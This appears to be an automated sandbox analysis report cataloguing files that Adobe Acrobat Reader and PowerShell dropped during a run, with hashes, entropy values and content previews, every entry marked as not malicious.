Preview:	{"analyticsData":{"responseGUID":"78a63b9b-badb-4934-93ae-073eb22d9e84","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1730019340228,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	5.631816326737257
Encrypted:	false
SSDEEP:	24:Yv6Xtlvfd6IamXayLgE7cMCBNaqnl0RCmK8czOC/BSPi:Yv+l8OBgACBOAh8cvMPi
MD5:	8906F01C5C7F9C8A4A8B726EF303F1E4
SHA1:	5AA5FF47D2C52C85C71B7E4BA1A215744B425130
SHA-256:	48CEB0C3BBC73F91A59EC94DD5CF13A86961FCBB5CDC1E316DFCD5A9491CED7E
SHA-512:	DDC8AEB9424604CDAB56C67E02123141880F1593EAA3F28B8B31EBE75AAF8D7069BC5895E2EB2ED520B424C285F3D279271DA3F9B012DBDA1AAF09FF668C1037
Malicious:	false
Reputation:	low
Preview:	{"analyticsData":{"responseGUID":"78a63b9b-badb-4934-93ae-073eb22d9e84","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1730019340228,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"92038_285529ActionBlock_0","campaignId":92038,"containerId":"1","controlGroupId":"","treatmentId":"6291f52b-6cb0-4d31-bc46-37ce85e9eb25","variationId":"285529"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"application\/json","encodingScheme":true},"endDTS":1751323379000,"s

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.248054645604395
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJDIWfJhJH/jx6mJ0YhedVeoAvJfshHHrPeUkwRe9:YvXKXJDbJhJH/jx6mdOGUUUkee9
MD5:	ABDF39575360743E0A07348814C3BB61
SHA1:	33E91A1D653C63AF6418C56E72BE7282EACD7EEE
SHA-256:	ED46243E2B9A85080788C6F847BAC326CDBE31694310DACE1F67BC91A398B538
SHA-512:	B250E0F16EE307EB210316D9284884D10A3F3B708F80905C1E485E077BA4BAD1E3DE21AA8E2BFFC987D052C19C1325F76F54EC1D7D5D009F5C09EB2602FF93BF
Malicious:	false
Reputation:	low
Preview:	{"analyticsData":{"responseGUID":"78a63b9b-badb-4934-93ae-073eb22d9e84","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1730019340228,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	782
Entropy (8bit):	5.3695656222081976
Encrypted:	false
SSDEEP:	12:YvXKXJDbJhJH/jx6mdOGTq16Ukee1+3CEJ1KXd15kcyKMQo7P70c0WM6ZB/uhWQi:Yv6Xtlvfd6X168CgEXX5kcIfANhPi
MD5:	17ED11F5C52C4DD3E1510ED29B3BF7EC
SHA1:	B70D002A3A7B607E239755F6D645C47F910788BA
SHA-256:	70CA43A95C82CA95522F897448A1275B453EBD5ED8FFFFACCC713D5F33EBDA85
SHA-512:	189D6CAE49DE1CE9BFB17B06F0556EFB0CF5FDFDC6990C7A341DE4A6DE84C6EB12A87DC29E2B40C4D5932E5ED1B94F10B4C3F5F9F56D2C7AC223E2D0E6901058
Malicious:	false
Reputation:	low
Preview:	{"analyticsData":{"responseGUID":"78a63b9b-badb-4934-93ae-073eb22d9e84","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1730019340228,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"Edit_InApp_Aug2020"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"20360_57769ActionBlock_0","campaignId":20360,"containerId":"1","controlGroupId":"","treatmentId":"3c07988a-9c54-409d-9d06-53885c9f21ec","variationId":"57769"},"containerId":1,"containerLabel":"JSON for switching in-app test","content":{"data":"eyJ1cHNlbGxleHBlcmltZW50Ijp7InRlc3RpZCI6IjEiLCJjb2hvcnQiOiJicm93c2VyIn19","dataType":"application\/json","encodingScheme":true},"endDTS":1735804679000,"startDTS":1729844245257}}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Reputation:	low
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2818
Entropy (8bit):	5.13921037973257
Encrypted:	false
SSDEEP:	48:YbnqRDDtNvVFpJ9QTxUYtptSu4vLDmAM9O/+9TLMw29U9vx:/Bxep3QXmbHTLsa
MD5:	7C8E3B7DD9CF37589E788D065E4E96EB
SHA1:	D96540EA223C517623D71EE82ADA609E84C51940
SHA-256:	269C8813DD0FAFA45124AA30AE17FDDF37343EB92AD718DF45E6B7CBD1CAECC5
SHA-512:	0F0A46D0E1CA4814FF9AD9A501F4278C036518A0A972CB410DD2622D5B1CB026DBD2CB0B10C1F1C492F1AA553BEC3A4E6D14168405D112D6FCCD2D28EA910941
Malicious:	false
Reputation:	low
Preview:	{"all":[{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"5b77da55388a06b71bb738177b634b6c","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":1164,"ts":1729844244000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"c4c179c5116e75f5f2300f386f84f0fe","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1026,"ts":1729844244000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"90baa11c71c47177591107c5460b06a5","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1055,"ts":1729844244000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"6938f091daffc53a3c98eb38e9ea31d9","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":1038,"ts":1729844244000},{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"614eea513375ab3dd20bdd50e331394f","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":1050,"ts":1729844244000},{"id":"Edit_InApp_Aug2020","info":{"dg":"41ab434f10a0b12b1cead85f0de5c1bc","sid":"Edit_InApp_Aug2020"},"mimeType":"file","size":782,"ts":17

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 23, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 23
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3568801807167312
Encrypted:	false
SSDEEP:	48:TVl2GL7msncRVbjVpOV6cV6+VZeVZvVZCVZW/Vk/Vhjv2ubCs22LCI5BvPiq:vVmssZnrFutV
MD5:	1E8B5489101C15A198D3C2ECDED0A17D
SHA1:	3FDA90746765EF90AEE93523CA2FA88C1ACDD5C2
SHA-256:	2C14BB08A8A7F3E851826D573DAE01DE707D49601C101DAF4D0882686E8C0223
SHA-512:	860DAEAEEBB664F6EBFC0BD512A23899C9DE3F0E095F8B9F3581005B4CE96CB931EA4EA109FB6739D4EC0DACC8F38D5BB3DA53906A8B983F6D7ECBC2AA3E371A
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.8309763840146154
Encrypted:	false
SSDEEP:	48:7MFWcRVbjVpOV6cV6+VZeVZvVZCVZW/Vk/Vhjv2ubCs22LCBBvPxc/qll2GL7ms0:78ZnrFRteqVms0
MD5:	B82F6C6424EDB02F1F8D553D77EB9BE4
SHA1:	36AD9E40FAC86C855D6B09F86E8606ABA6065A20
SHA-256:	2C17C143B9AFE6BE9415AE4DC6908C841D079D22F11B933CC9F1F33FC9E488D8
SHA-512:	9D28CD1642780863A95E94F8EE1371D13BFBAA79FEE801832C1E7DB343CF18FA0796D0BBF13F1192080AAB94D77A0269AB880CFFCFBDA8D415B77FC21F769ECC
Malicious:	false
Reputation:	low
Preview:	.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././.-.-.-.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	9434
Entropy (8bit):	4.928515784730612
Encrypted:	false
SSDEEP:	192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
MD5:	D3594118838EF8580975DDA877E44DEB
SHA1:	0ACABEA9B50CA74E6EBAE326251253BAF2E53371
SHA-256:	456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
SHA-512:	103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
Malicious:	false
Reputation:	low
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Temp\MSI4f600.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5162684137903053
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8j75CH:Qw946cPbiOxDlbYnuRK9
MD5:	7C5ABC525AD3C37489A51739144C3CB2
SHA1:	65C631F646E2BE924142EF2F9A0045FF056BBDBD
SHA-256:	BC6B19C8DB81FE659E40B4C95C4AA1843742E28DD441E823FE05F9456AD1063F
SHA-512:	5318A86E95E5036761180867E2874F82D3AF9E8FAFE902F53F42D529293FA908E2CDF1F04FF9304429C1B5DBA1F79B81DA23119A9FF23B7175B32E50CAA09BC1
Malicious:	false
Reputation:	low
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .2.5./.1.0./.2.0.2.4. . .0.4.:.1.7.:.2.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ka0uob4e.cto.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nmadkynu.1ms.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t2eu0te0.vxu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zzzfzdv0.0nx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-10-25 04-17-18-363.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.359827924713262
Encrypted:	false
SSDEEP:	384:yNDmLJAZYTtvEcrd/GVMimVRMTzpCeb9sJVPbvHktuFKr4Bnk2DfNSNq8iwyhZ9u:bAPaRH9E3/
MD5:	06DEAEDB81D09FD8FB5FF668D8E09CB2
SHA1:	28A02BCBD5975117B97A08AFB049F2C94F334726
SHA-256:	D98DE785425112A2D7A41B16073812FA4FA4955F2D5139AE87C9A5FBC4717D64
SHA-512:	948E3B56E5A8D818A5FE9D74B82A898F7264909ADF2C49E5D096CB90F4D28ED95990545A4857933F0E06D493AA0F6D41F6109C74B44BC0E4B84346B519681936
Malicious:	false
Reputation:	low
Preview:	SessionID=c98ebd97-9477-4d7e-bd0c-12efa5f01bab.1696586972755 Timestamp=2023-10-06T12:09:32:755+0200 ThreadID=6536 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=c98ebd97-9477-4d7e-bd0c-12efa5f01bab.1696586972755 Timestamp=2023-10-06T12:09:32:756+0200 ThreadID=6536 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=c98ebd97-9477-4d7e-bd0c-12efa5f01bab.1696586972755 Timestamp=2023-10-06T12:09:32:756+0200 ThreadID=6536 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=c98ebd97-9477-4d7e-bd0c-12efa5f01bab.1696586972755 Timestamp=2023-10-06T12:09:32:756+0200 ThreadID=6536 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=c98ebd97-9477-4d7e-bd0c-12efa5f01bab.1696586972755 Timestamp=2023-10-06T12:09:32:756+0200 ThreadID=6536 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.359087159618243
Encrypted:	false
SSDEEP:	384:F60Hs+Q7zYpsIlwb4i8dvtDyekd/KHjMnwPH7F51ENnCWxWd8UDlwz8zURXhV+ze:WV5
MD5:	8B1A467B7489A4FAF1673A1B144B1D0E
SHA1:	2F281E488ADAC3CF7038111C663A2350D8950593
SHA-256:	E675DF5044EE58B6DD242D1EB2595F955C901D6AA78FA868CBD06F24C0572294
SHA-512:	6C60E391F75B5507C354626D275292D4B0E86CCAB98B1680282B913F6BFF52B4489E2F430C30B308AAAB0F7248C19EBA9C3AD811B5ED1D893E7CE8A353CC36DC
Malicious:	false
Reputation:	low
Preview:	SessionID=6eefa899-a06f-49c1-b6b9-fe4ca52e96f9.1729844238376 Timestamp=2024-10-25T04:17:18:376-0400 ThreadID=1432 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=6eefa899-a06f-49c1-b6b9-fe4ca52e96f9.1729844238376 Timestamp=2024-10-25T04:17:18:378-0400 ThreadID=1432 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=6eefa899-a06f-49c1-b6b9-fe4ca52e96f9.1729844238376 Timestamp=2024-10-25T04:17:18:378-0400 ThreadID=1432 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=6eefa899-a06f-49c1-b6b9-fe4ca52e96f9.1729844238376 Timestamp=2024-10-25T04:17:18:378-0400 ThreadID=1432 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=6eefa899-a06f-49c1-b6b9-fe4ca52e96f9.1729844238376 Timestamp=2024-10-25T04:17:18:378-0400 ThreadID=1432 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.423183923270831
Encrypted:	false
SSDEEP:	192:fcbmI6ccb9cb+IqccbdcbIIl3cbXcbWIS+cb4cbIIJzcb89cboIxURMcbp:g6sqGlVS/JqxE
MD5:	90AD99A42417053C3CD1F1746995931A
SHA1:	35FC650305BF43C20A0AE0ED14DD31672D819956
SHA-256:	78B405158E39BDB6FB22A8F92362508B19C72CD81DBDF083EB66096C780CCA92
SHA-512:	2659DFBFC2CAA2441E7FBC8020BD5CE33244281F4483851B1733CC661BB6D882A23BCDF3D076E53CCB2B6E1C97D7197CE4B9F127EA1171AE95169F195A93ECDD
Malicious:	false
Reputation:	low
Preview:	06-10-2023 11:44:59:.---2---..06-10-2023 11:44:59:.AcroNGL Integ ADC-4240758 : *************************************..06-10-2023 11:44:59:.AcroNGL Integ ADC-4240758 : ***********************************..06-10-2023 11:44:59:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..06-10-2023 11:44:59:.AcroNGL Integ ADC-4240758 : Starting NGL..06-10-2023 11:44:59:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...06-10-2023 11:44:59:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..06-10-2023 11:44:59:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..06-10-2023 11:44:59:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..06-10-2023 11:44:59:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..06-10-2023 11:44:59:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..06-10-2023 11:44:59:.Closing File..06-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\03cadd97-da11-48f9-a9e0-e4ea0ea14d23.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Reputation:	low
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\7e8a73e8-c68e-4dee-bba4-7d718f4cc8f5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xaWL07oXGZGwYIGNPJwdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JaWLxXGZGwZGM3mlind9i4ufFXpAXkru
MD5:	0A347312E361322436D1AF1D5145D2AB
SHA1:	1D6C06A274705F8A295F62AD90CF8CA27555C226
SHA-256:	094501B3CA4E93F626ABFCAE800645C533B61409DC3D1D233F4D053CE6A124D7
SHA-512:	9856C231513B47DD996488DF19EEE44DBB320E55432984C0C041EF568B6EC5C05F5340831132890D1D162E0505CA243D579582EDB9157CF722A86EC8CE2FEAFE
Malicious:	false
Reputation:	low
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\b72b951e-990d-45c7-9fa0-88d4c9dcbde5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuGTJJJJv+9UZd1ybxrr/IxkB1mabFhOXZ/fEas:O3Pjegf121YS8lkipdj/JJJJm94dMNBn
MD5:	3EC2C067AFA666EDAC5AA95F54A87BD6
SHA1:	B01E28DCAFB20FFB40A2665BF5F70F56289FA183
SHA-256:	E6F5BAEE634500BD5BC5795AAA29F8A006C5020201021329F35B751C90137A20
SHA-512:	B1AA09F9A82F4353DA117471A3CE32B7FF3CC0117BD74E143F09C67D42F2567291AD98397245BDCD6D5E8A521F6228E8ACC3F78083059319732D9C753D39D9D7
Malicious:	false
Reputation:	low
